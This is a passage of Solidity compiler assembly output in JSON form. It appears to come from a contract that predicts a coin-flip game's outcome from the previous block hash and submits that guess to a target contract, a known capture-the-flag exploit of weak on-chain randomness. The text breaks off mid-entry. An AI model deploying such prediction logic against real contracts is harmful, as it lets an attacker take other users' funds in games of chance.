"jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 89, "end": 119, "name": "tag", "source": 0, "value": "6" }, { "begin": 89, "end": 119, "name": "JUMPDEST", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 89, "end": 119, "name": "MLOAD", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH [tag]", "source": 0, "value": "8" }, { "begin": 89, "end": 119, "name": "SWAP2", "source": 0 }, { "begin": 89, "end": 119, "name": "SWAP1", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH [tag]", "source": 0, "value": "9" }, { "begin": 89, "end": 119, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 89, "end": 119, "name": "tag", "source": 0, "value": "8" }, { "begin": 89, "end": 119, "name": "JUMPDEST", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 89, "end": 119, "name": "MLOAD", "source": 0 }, { "begin": 89, "end": 119, "name": "DUP1", "source": 0 }, { "begin": 89, "end": 119, "name": "SWAP2", "source": 0 }, { "begin": 89, "end": 119, "name": "SUB", "source": 0 }, { "begin": 89, "end": 119, "name": "SWAP1", "source": 0 }, { "begin": 89, "end": 119, "name": "RETURN", "source": 0 }, { "begin": 408, "end": 1249, "name": "tag", "source": 0, "value": "4" }, { "begin": 408, "end": 1249, "name": "JUMPDEST", "source": 0 }, { "begin": 408, "end": 1249, "name": "PUSH [tag]", "source": 0, "value": "10" }, { "begin": 408, "end": 1249, "name": "PUSH [tag]", "source": 0, "value": "11" }, { "begin": 408, "end": 1249, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 408, "end": 1249, "name": "tag", "source": 0, "value": "10" }, { "begin": 408, "end": 1249, "name": "JUMPDEST", "source": 0 }, { "begin": 408, "end": 1249, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 408, "end": 1249, "name": "MLOAD", "source": 0 }, { "begin": 408, "end": 1249, "name": "PUSH [tag]", "source": 0, "value": "12" }, { "begin": 408, "end": 1249, "name": "SWAP2", "source": 0 }, { "begin": 408, "end": 1249, "name": "SWAP1", "source": 0 }, { "begin": 408, "end": 1249, "name": "PUSH [tag]", "source": 0, "value": "13" }, { "begin": 408, "end": 1249, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 408, "end": 1249, "name": "tag", "source": 0, "value": "12" }, { "begin": 408, "end": 1249, "name": "JUMPDEST", "source": 0 }, { "begin": 408, "end": 1249, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 408, "end": 1249, "name": "MLOAD", "source": 0 }, { "begin": 408, "end": 1249, "name": "DUP1", "source": 0 }, { "begin": 408, "end": 1249, "name": "SWAP2", "source": 0 }, { "begin": 408, "end": 1249, "name": "SUB", "source": 0 }, { "begin": 408, "end": 1249, "name": "SWAP1", "source": 0 }, { "begin": 408, "end": 1249, "name": "RETURN", "source": 0 }, { "begin": 125, "end": 155, "name": "tag", "source": 0, "value": "5" }, { "begin": 125, "end": 155, "name": "JUMPDEST", "source": 0 }, { "begin": 125, "end": 155, "name": "PUSH [tag]", "source": 0, "value": "14" }, { "begin": 125, "end": 155, "name": "PUSH [tag]", "source": 0, "value": "15" }, { "begin": 125, "end": 155, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 125, "end": 155, "name": "tag", "source": 0, "value": "14" }, { "begin": 125, "end": 155, "name": "JUMPDEST", "source": 0 }, { "begin": 125, "end": 155, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 125, "end": 155, "name": "MLOAD", "source": 0 }, { "begin": 125, "end": 155, "name": "PUSH [tag]", "source": 0, "value": "16" }, { "begin": 125, "end": 155, "name": "SWAP2", "source": 0 }, { "begin": 125, "end": 155, "name": "SWAP1", "source": 0 }, { "begin": 125, "end": 155, "name": "PUSH [tag]", "source": 0, "value": "17" }, { "begin": 125, "end": 155, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 125, "end": 155, "name": "tag", "source": 0, "value": "16" }, { "begin": 125, "end": 155, "name": "JUMPDEST", "source": 0 }, { "begin": 125, "end": 155, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 125, "end": 155, "name": "MLOAD", "source": 0 }, { "begin": 125, "end": 155, "name": "DUP1", "source": 0 }, { "begin": 125, "end": 155, "name": "SWAP2", "source": 0 }, { "begin": 125, "end": 155, "name": "SUB", "source": 0 }, { "begin": 125, "end": 155, "name": "SWAP1", "source": 0 }, { "begin": 125, "end": 155, "name": "RETURN", "source": 0 }, { "begin": 89, "end": 119, "name": "tag", "source": 0, "value": "7" }, { "begin": 89, "end": 119, "name": "JUMPDEST", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 89, "end": 119, "name": "DUP1", "source": 0 }, { "begin": 89, "end": 119, "name": "SLOAD", "source": 0 }, { "begin": 89, "end": 119, "name": "SWAP1", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH", "source": 0, "value": "100" }, { "begin": 89, "end": 119, "name": "EXP", "source": 0 }, { "begin": 89, "end": 119, "name": "SWAP1", "source": 0 }, { "begin": 89, "end": 119, "name": "DIV", "source": 0 }, { "begin": 89, "end": 119, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 89, "end": 119, "name": "AND", "source": 0 }, { "begin": 89, "end": 119, "name": "DUP2", "source": 0 }, { "begin": 89, "end": 119, "jumpType": "[out]", "name": "JUMP", "source": 0 }, { "begin": 408, "end": 1249, "name": "tag", "source": 0, "value": "11" }, { "begin": 408, "end": 1249, "name": "JUMPDEST", "source": 0 }, { "begin": 442, "end": 446, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 458, "end": 476, "name": "DUP1", "source": 0 }, { "begin": 512, "end": 513, "name": "PUSH", "source": 0, "value": "1" }, { "begin": 497, "end": 509, "name": "NUMBER", "source": 0 }, { "begin": 497, "end": 513, "name": "PUSH [tag]", "source": 0, "value": "19" }, { "begin": 497, "end": 513, "name": "SWAP2", "source": 0 }, { "begin": 497, "end": 513, "name": "SWAP1", "source": 0 }, { "begin": 497, "end": 513, "name": "PUSH [tag]", "source": 0, "value": "20" }, { "begin": 497, "end": 513, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 497, "end": 513, "name": "tag", "source": 0, "value": "19" }, { "begin": 497, "end": 513, "name": "JUMPDEST", "source": 0 }, { "begin": 487, "end": 514, "name": "BLOCKHASH", "source": 0 }, { "begin": 479, "end": 515, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 479, "end": 515, "name": "SHR", "source": 0 }, { "begin": 458, "end": 515, "name": "SWAP1", "source": 0 }, { "begin": 458, "end": 515, "name": "POP", "source": 0 }, { "begin": 542, "end": 552, "name": "DUP1", "source": 0 }, { "begin": 530, "end": 538, "name": "PUSH", "source": 0, "value": "2" }, { "begin": 530, "end": 538, "name": "SLOAD", "source": 0 }, { "begin": 530, "end": 552, "name": "SUB", "source": 0 }, { "begin": 526, "end": 585, "name": "PUSH [tag]", "source": 0, "value": "21" }, { "begin": 526, "end": 585, "name": "JUMPI", "source": 0 }, { "begin": 566, "end": 574, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 566, "end": 574, "name": "DUP1", "source": 0 }, { "begin": 566, "end": 574, "name": "REVERT", "source": 0 }, { "begin": 526, "end": 585, "name": "tag", "source": 0, "value": "21" }, { "begin": 526, "end": 585, "name": "JUMPDEST", "source": 0 }, { "begin": 606, "end": 616, "name": "DUP1", "source": 0 }, { "begin": 595, "end": 603, "name": "PUSH", "source": 0, "value": "2" }, { "begin": 595, "end": 616, "name": "DUP2", "source": 0 }, { "begin": 595, "end": 616, "name": "SWAP1", "source": 0 }, { "begin": 595, "end": 616, "name": "SSTORE", "source": 0 }, { "begin": 595, "end": 616, "name": "POP", "source": 0 }, { "begin": 626, "end": 642, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 658, "end": 664, "name": "PUSH", "source": 0, "value": "3" }, { "begin": 658, "end": 664, "name": "SLOAD", "source": 0 }, { "begin": 645, "end": 655, "name": "DUP3", "source": 0 }, { "begin": 645, "end": 664, "name": "PUSH [tag]", "source": 0, "value": "22" }, { "begin": 645, "end": 664, "name": "SWAP2", "source": 0 }, { "begin": 645, "end": 664, "name": "SWAP1", "source": 0 }, { "begin": 645, "end": 664, "name": "PUSH [tag]", "source": 0, "value": "23" }, { "begin": 645, "end": 664, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 645, "end": 664, "name": "tag", "source": 0, "value": "22" }, { "begin": 645, "end": 664, "name": "JUMPDEST", "source": 0 }, { "begin": 626, "end": 664, "name": "SWAP1", "source": 0 }, { "begin": 626, "end": 664, "name": "POP", "source": 0 }, { "begin": 674, "end": 683, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 698, "end": 699, "name": "PUSH", "source": 0, "value": "1" }, { "begin": 686, "end": 694, "name": "DUP3", "source": 0 }, { "begin": 686, "end": 699, "name": "EQ", "source": 0 }, { "begin": 686, "end": 714, "name": "PUSH [tag]", "source": 0, "value": "24" }, { "begin": 686, "end": 714, "name": "JUMPI", "source": 0 }, { "begin": 709, "end": 714, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 686, "end": 714, "name": "PUSH [tag]", "source": 0, "value": "25" }, { "begin": 686, "end": 714, "name": "JUMP", "source": 0 }, { "begin": 686, "end": 714, "name": "tag", "source": 0, "value": "24" }, { "begin": 686, "end": 714, "name": "JUMPDEST", "source": 0 }, { "begin": 702, "end": 706, "name": "PUSH", "source": 0, "value": "1" }, { "begin": 686, "end": 714, "name": "tag", "source": 0, "value": "25" }, { "begin": 686, "end": 714, "name": "JUMPDEST", "source": 0 }, { "begin": 674, "end": 714, "name": "SWAP1", "source": 0 }, { "begin": 674, "end": 714, "name": "POP", "source": 0 }, { "begin": 813, "end": 833, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 874, "end": 878, "name": "DUP2", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 836, "end": 879, "name": "MLOAD", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "24" }, { "begin": 836, "end": 879, "name": "ADD", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH [tag]", "source": 0, "value": "26" }, { "begin": 836, "end": 879, "name": "SWAP2", "source": 0 }, { "begin": 836, "end": 879, "name": "SWAP1", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH [tag]", "source": 0, "value": "13" }, { "begin": 836, "end": 879, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 836, "end": 879, "name": "tag", "source": 0, "value": "26" }, { "begin": 836, "end": 879, "name": "JUMPDEST", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 836, "end": 879, "name": "MLOAD", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "20" }, { "begin": 836, "end": 879, "name": "DUP2", "source": 0 }, { "begin": 836, "end": 879, "name": "DUP4", "source": 0 }, { "begin": 836, "end": 879, "name": "SUB", "source": 0 }, { "begin": 836, "end": 879, "name": "SUB", "source": 0 }, { "begin": 836, "end": 879, "name": "DUP2", "source": 0 }, { "begin": 836, "end": 879, "name": "MSTORE", "source": 0 }, { "begin": 836, "end": 879, "name": "SWAP1", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 836, "end": 879, "name": "MSTORE", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "1D263F6700000000000000000000000000000000000000000000000000000000" }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 836, "end": 879, "name": "NOT", "source": 0 }, { "begin": 836, "end": 879, "name": "AND", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "20" }, { "begin": 836, "end": 879, "name": "DUP3", "source": 0 }, { "begin": 836, "end": 879, "name": "ADD", "source": 0 }, { "begin": 836, "end": 879, "name": "DUP1", "source": 0 }, { "begin": 836, "end": 879, "name": "MLOAD", "source": 0 }, { "begin": 836, "end": 879, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 836, "end": 879, "name": "DUP4", "source": 0 }, { "begin": 836, "end": 879, "name": "DUP2", "source": 0 }, { "begin": 836, "end": 879, "name": "DUP4", "source": 0 }, { "begin": 836, "end": 879, "name": "AND", "source": 0 }, { "begin": 836, "end": 879, "name": "OR", "source": 0 }, { "begin": 836, "end": 879, "name": "DUP4", "source": 0 }, { "begin": 836, "end": 879, "name": "MSTORE", "source": 0 }, { "begin": 836, "end": 879, "name": "POP", "source": 0 }, { "begin": 836, "end": 879, "name": "POP", "source": 0 }, { "begin": 836, "end": 879, "name": "POP", "source": 0 }, { "begin": 836, "end": 879, "name": "POP", "source": 0 }, { "begin": 813, "end": 879, "name": "SWAP1", "source": 0 }, { "begin": 813, "end": 879, "name": "POP", "source": 0 }, { "begin": 961, "end": 973, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 975, "end": 994, "name": "DUP1", "source": 0 }, { "begin": 998, "end": 1013, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 998, "end": 1013, "name": "DUP1", "source": 0 }, { "begin": 998, "end": 1013, "name": "SLOAD", "source": 0 }, { "begin": 998, "end": 1013, "name": "SWAP1", "source": 0 }, { "begin": 998, "end": 1013, "name": "PUSH", "source": 0, "value": "100" }, { "begin": 998, "end": 1013, "name": "EXP", "source": 0 }, { "begin": 998, "end": 1013, "name": "SWAP1", "source": 0 }, { "begin": 998, "end": 1013, "name": "DIV", "source": 0 }, { "begin": 998, "end": 1013, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 998, "end": 1013, "name": "AND", "source": 0 }, { "begin": 998, "end": 1018, "name": "PUSH", "source": 0, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 998, "end": 1018, "name": "AND", "source": 0 }, { "begin": 1019, "end": 1026, "name": "DUP4", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 998, "end": 1027, "name": "MLOAD", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH [tag]", "source": 0, "value": "27" }, { "begin": 998, "end": 1027, "name": "SWAP2", "source": 0 }, { "begin": 998, "end": 1027, "name": "SWAP1", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH [tag]", "source": 0, "value": "28" }, { "begin": 998, "end": 1027, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 998, "end": 1027, "name": "tag", "source": 0, "value": "27" }, { "begin": 998, "end": 1027, "name": "JUMPDEST", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 998, "end": 1027, "name": "MLOAD", "source": 0 }, { "begin": 998, "end": 1027, "name": "DUP1", "source": 0 }, { "begin": 998, "end": 1027, "name": "DUP4", "source": 0 }, { "begin": 998, "end": 1027, "name": "SUB", "source": 0 }, { "begin": 998, "end": 1027, "name": "DUP2", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 998, "end": 1027, "name": "DUP7", "source": 0 }, { "begin": 998, "end": 1027, "name": "GAS", "source": 0 }, { "begin": 998, "end": 1027, "name": "CALL", "source": 0 }, { "begin": 998, "end": 1027, "name": "SWAP2", "source": 0 }, { "begin": 998, "end": 1027, "name": "POP", "source": 0 }, { "begin": 998, "end": 1027, "name": "POP", "source": 0 }, { "begin": 998, "end": 1027, "name": "RETURNDATASIZE", "source": 0 }, { "begin": 998, "end": 1027, "name": "DUP1", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 998, "end": 1027, "name": "DUP2", "source": 0 }, { "begin": 998, "end": 1027, "name": "EQ", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH [tag]", "source": 0, "value": "31" }, { "begin": 998, "end": 1027, "name": "JUMPI", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 998, "end": 1027, "name": "MLOAD", "source": 0 }, { "begin": 998, "end": 1027, "name": "SWAP2", "source": 0 }, { "begin": 998, "end": 1027, "name": "POP", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "1F" }, { "begin": 998, "end": 1027, "name": "NOT", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "3F" }, { "begin": 998, "end": 1027, "name": "RETURNDATASIZE", "source": 0 }, { "begin": 998, "end": 1027, "name": "ADD", "source": 0 }, { "begin": 998, "end": 1027, "name": "AND", "source": 0 }, { "begin": 998, "end": 1027, "name": "DUP3", "source": 0 }, { "begin": 998, "end": 1027, "name": "ADD", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 998, "end": 1027, "name": "MSTORE", "source": 0 }, { "begin": 998, "end": 1027, "name": "RETURNDATASIZE", "source": 0 }, { "begin": 998, "end": 1027, "name": "DUP3", "source": 0 }, { "begin": 998, "end": 1027, "name": "MSTORE", "source": 0 }, { "begin": 998, "end": 1027, "name": "RETURNDATASIZE", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "20" }, { "begin": 998, "end": 1027, "name": "DUP5", "source": 0 }, { "begin": 998, "end": 1027, "name": "ADD", "source": 0 }, { "begin": 998, "end": 1027, "name": "RETURNDATACOPY", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH [tag]", "source": 0, "value": "30" }, { "begin": 998, "end": 1027, "name": "JUMP", "source": 0 }, { "begin": 998, "end": 1027, "name": "tag", "source": 0, "value": "31" }, { "begin": 998, "end": 1027, "name": "JUMPDEST", "source": 0 }, { "begin": 998, "end": 1027, "name": "PUSH", "source": 0, "value": "60" }, { "begin": 998, "end": 1027, "name": "SWAP2", "source": 0 }, { "begin": 998, "end": 1027, "name": "POP", "source": 0 }, { "begin": 998, "end": 1027, "name": "tag", "source": 0, "value": "30" }, { "begin": 998, "end": 1027, "name": "JUMPDEST", "source": 0 }, { "begin": 998, "end": 1027, "name": "POP", "source": 0 }, { "begin": 960, "end": 1027, "name": "SWAP2", "source": 0 }, { "begin": 960, "end": 1027, "name": "POP", "source": 0 }, { "begin": 960, "end": 1027, "name": "SWAP2", "source": 0 }, { "begin": 960, "end": 1027, "name": "POP", "source": 0 }, { "begin": 1046, "end": 1053, "name": "DUP2", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH [tag]", "source": 0, "value": "32" }, { "begin": 1038, "end": 1069, "name": "JUMPI", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 1038, "end": 1069, "name": "MLOAD", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH", "source": 0, "value": "8C379A000000000000000000000000000000000000000000000000000000000" }, { "begin": 1038, "end": 1069, "name": "DUP2", "source": 0 }, { "begin": 1038, "end": 1069, "name": "MSTORE", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH", "source": 0, "value": "4" }, { "begin": 1038, "end": 1069, "name": "ADD", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH [tag]", "source": 0, "value": "33" }, { "begin": 1038, "end": 1069, "name": "SWAP1", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH [tag]", "source": 0, "value": "34" }, { "begin": 1038, "end": 1069, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 1038, "end": 1069, "name": "tag", "source": 0, "value": "33" }, { "begin": 1038, "end": 1069, "name": "JUMPDEST", "source": 0 }, { "begin": 1038, "end": 1069, "name": "PUSH", "source": 0, "value": "40" }, { "begin": 1038, "end": 1069, "name": "MLOAD", "source": 0 }, { "begin": 1038, "end": 1069, "name": "DUP1", "source": 0 }, { "begin": 1038, "end": 1069, "name": "SWAP2", "source": 0 }, { "begin": 1038, "end": 1069, "name": "SUB", "source": 0 }, { "begin": 1038, "end": 1069, "name": "SWAP1", "source": 0 }, { "begin": 1038, "end": 1069, "name": "REVERT", "source": 0 }, { "begin": 1038, "end": 1069, "name": "tag", "source": 0, "value": "32" }, { "begin": 1038, "end": 1069, "name": "JUMPDEST", "source": 0 }, { "begin": 1162, "end": 1177, "name": "PUSH", "source": 0, "value": "0" }, { "begin": 1191, "end": 1197, "name": "DUP2", "source": 0 }, { "begin": 1180, "end": 1206, "name": "DUP1", "source": 0 }, { "begin": 1180, "end": 1206, "name": "PUSH", "source": 0, "value": "20" }, { "begin": 1180, "end": 1206, "name": "ADD", "source": 0 }, { "begin": 1180, "end": 1206, "name": "SWAP1", "source": 0 }, { "begin": 1180, "end": 1206, "name": "MLOAD", "source": 0 }, { "begin": 1180, "end": 1206, "name": "DUP2", "source": 0 }, { "begin": 1180, "end": 1206, "name": "ADD", "source": 0 }, { "begin": 1180, "end": 1206, "name": "SWAP1", "source": 0 }, { "begin": 1180, "end": 1206, "name": "PUSH [tag]", "source": 0, "value": "35" }, { "begin": 1180, "end": 1206, "name": "SWAP2", "source": 0 }, { "begin": 1180, "end": 1206, "name": "SWAP1", "source": 0 }, { "begin": 1180, "end": 1206, "name": "PUSH [tag]", "source": 0, "value": "36" }, { "begin": 1180, "end": 1206, "jumpType": "[in]", "name": "JUMP", "source": 0 }, { "begin": 1180, "end": 1206, "name": "tag", "source": 0, "value": "35" }, { "begin": 1180, "end": 1206, "name": "JUMPDEST", "source": 0 }, { "begin": 1162, "end": 1206, "name": "SWAP1", "source": 0 }, { "begin": 1162, "end": 1206, "name": "POP", "source": 0 }, { "begin": 1232, "end": 1242, "name": "DUP1", "source": 0 }, { "begin": 1225, "end": 1242, "name": "SWAP8", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 1225, "end": 1242, "name": "POP", "source": 0 }, { "begin": 408, "end": 1249, "name": "SWAP1", "source": 0 }, { "begin": 408, "end": 1249, "jumpType": "[out]", "name": "JUMP", "source": 0 }, { "begin": 125, "end": 155, "name": "tag", "source": 0, "value": "15" }, { "begin": 125, "end": 155, "name": "JUMPDEST", "source": 0 }, { "begin": 125, "end": 155, "name": "PUSH", "source": 0, "value": "1" }, { "begin": 125, "end": 155, "name": "SLOAD", "source": 0 }, { "begin": 125, "end": 155, "name": "DUP2", "source": 0 }, { "begin": 125, "end": 155, "jumpType": "[out]", "name": "JUMP", "source": 0 }, { "begin": 7, "end": 133, "name": "tag", "source": 1, "value": "37" }, { "begin": 7, "end": 133, "name": "JUMPDEST", "source": 1 }, { "begin": 44, "end": 51, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 84, "end": 126, "name": "PUSH", "source": 1, "value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" }, { "begin": 77, "end": 82, "name": "DUP3", "source": 1 }, { "begin": 73, "end": 127, "name": "AND", "source": 1 }, { "begin": 62, "end": 127, "name": "SWAP1", "source": 1 }, { "begin": 62, "end": 127, "name": "POP", "source": 1 }, { "begin": 7, "end": 133, "name": "SWAP2", "source": 1 }, { "begin": 7, "end": 133, "name": "SWAP1", "source": 1 }, { "begin": 7, "end": 133, "name": "POP", "source": 1 }, { "begin": 7, "end": 133, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 139, "end": 235, "name": "tag", "source": 1, "value": "38" }, { "begin": 139, "end": 235, "name": "JUMPDEST", "source": 1 }, { "begin": 176, "end": 183, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 205, "end": 229, "name": "PUSH [tag]", "source": 1, "value": "61" }, { "begin": 223, "end": 228, "name": "DUP3", "source": 1 }, { "begin": 205, "end": 229, "name": "PUSH [tag]", "source": 1, "value": "37" }, { "begin": 205, "end": 229, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 205, "end": 229, "name": "tag", "source": 1, "value": "61" }, { "begin": 205, "end": 229, "name": "JUMPDEST", "source": 1 }, { "begin": 194, "end": 229, "name": "SWAP1", "source": 1 }, { "begin": 194, "end": 229, "name": "POP", "source": 1 }, { "begin": 139, "end": 235, "name": "SWAP2", "source": 1 }, { "begin": 139, "end": 235, "name": "SWAP1", "source": 1 }, { "begin": 139, "end": 235, "name": "POP", "source": 1 }, { "begin": 139, "end": 235, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 241, "end": 359, "name": "tag", "source": 1, "value": "39" }, { "begin": 241, "end": 359, "name": "JUMPDEST", "source": 1 }, { "begin": 328, "end": 352, "name": "PUSH [tag]", "source": 1, "value": "63" }, { "begin": 346, "end": 351, "name": "DUP2", "source": 1 }, { "begin": 328, "end": 352, "name": "PUSH [tag]", "source": 1, "value": "38" }, { "begin": 328, "end": 352, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 328, "end": 352, "name": "tag", "source": 1, "value": "63" }, { "begin": 328, "end": 352, "name": "JUMPDEST", "source": 1 }, { "begin": 323, "end": 326, "name": "DUP3", "source": 1 }, { "begin": 316, "end": 353, "name": "MSTORE", "source": 1 }, { "begin": 241, "end": 359, "name": "POP", "source": 1 }, { "begin": 241, "end": 359, "name": "POP", "source": 1 }, { "begin": 241, "end": 359, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 365, "end": 587, "name": "tag", "source": 1, "value": "9" }, { "begin": 365, "end": 587, "name": "JUMPDEST", "source": 1 }, { "begin": 458, "end": 462, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 496, "end": 498, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 485, "end": 494, "name": "DUP3", "source": 1 }, { "begin": 481, "end": 499, "name": "ADD", "source": 1 }, { "begin": 473, "end": 499, "name": "SWAP1", "source": 1 }, { "begin": 473, "end": 499, "name": "POP", "source": 1 }, { "begin": 509, "end": 580, "name": "PUSH [tag]", "source": 1, "value": "65" }, { "begin": 577, "end": 578, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 566, "end": 575, "name": "DUP4", "source": 1 }, { "begin": 562, "end": 579, "name": "ADD", "source": 1 }, { "begin": 553, "end": 559, "name": "DUP5", "source": 1 }, { "begin": 509, "end": 580, "name": "PUSH [tag]", "source": 1, "value": "39" }, { "begin": 509, "end": 580, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 509, "end": 580, "name": "tag", "source": 1, "value": "65" }, { "begin": 509, "end": 580, "name": "JUMPDEST", "source": 1 }, { "begin": 365, "end": 587, "name": "SWAP3", "source": 1 }, { "begin": 365, "end": 587, "name": "SWAP2", "source": 1 }, { "begin": 365, "end": 587, "name": "POP", "source": 1 }, { "begin": 365, "end": 587, "name": "POP", "source": 1 }, { "begin": 365, "end": 587, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 593, "end": 683, "name": "tag", "source": 1, "value": "40" }, { "begin": 593, "end": 683, "name": "JUMPDEST", "source": 1 }, { "begin": 627, "end": 634, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 670, "end": 675, "name": "DUP2", "source": 1 }, { "begin": 663, "end": 676, "name": "ISZERO", "source": 1 }, { "begin": 656, "end": 677, "name": "ISZERO", "source": 1 }, { "begin": 645, "end": 677, "name": "SWAP1", "source": 1 }, { "begin": 645, "end": 677, "name": "POP", "source": 1 }, { "begin": 593, "end": 683, "name": "SWAP2", "source": 1 }, { "begin": 593, "end": 683, "name": "SWAP1", "source": 1 }, { "begin": 593, "end": 683, "name": "POP", "source": 1 }, { "begin": 593, "end": 683, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 689, "end": 798, "name": "tag", "source": 1, "value": "41" }, { "begin": 689, "end": 798, "name": "JUMPDEST", "source": 1 }, { "begin": 770, "end": 791, "name": "PUSH [tag]", "source": 1, "value": "68" }, { "begin": 785, "end": 790, "name": "DUP2", "source": 1 }, { "begin": 770, "end": 791, "name": "PUSH [tag]", "source": 1, "value": "40" }, { "begin": 770, "end": 791, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 770, "end": 791, "name": "tag", "source": 1, "value": "68" }, { "begin": 770, "end": 791, "name": "JUMPDEST", "source": 1 }, { "begin": 765, "end": 768, "name": "DUP3", "source": 1 }, { "begin": 758, "end": 792, "name": "MSTORE", "source": 1 }, { "begin": 689, "end": 798, "name": "POP", "source": 1 }, { "begin": 689, "end": 798, "name": "POP", "source": 1 }, { "begin": 689, "end": 798, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 804, "end": 1014, "name": "tag", "source": 1, "value": "13" }, { "begin": 804, "end": 1014, "name": "JUMPDEST", "source": 1 }, { "begin": 891, "end": 895, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 929, "end": 931, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 918, "end": 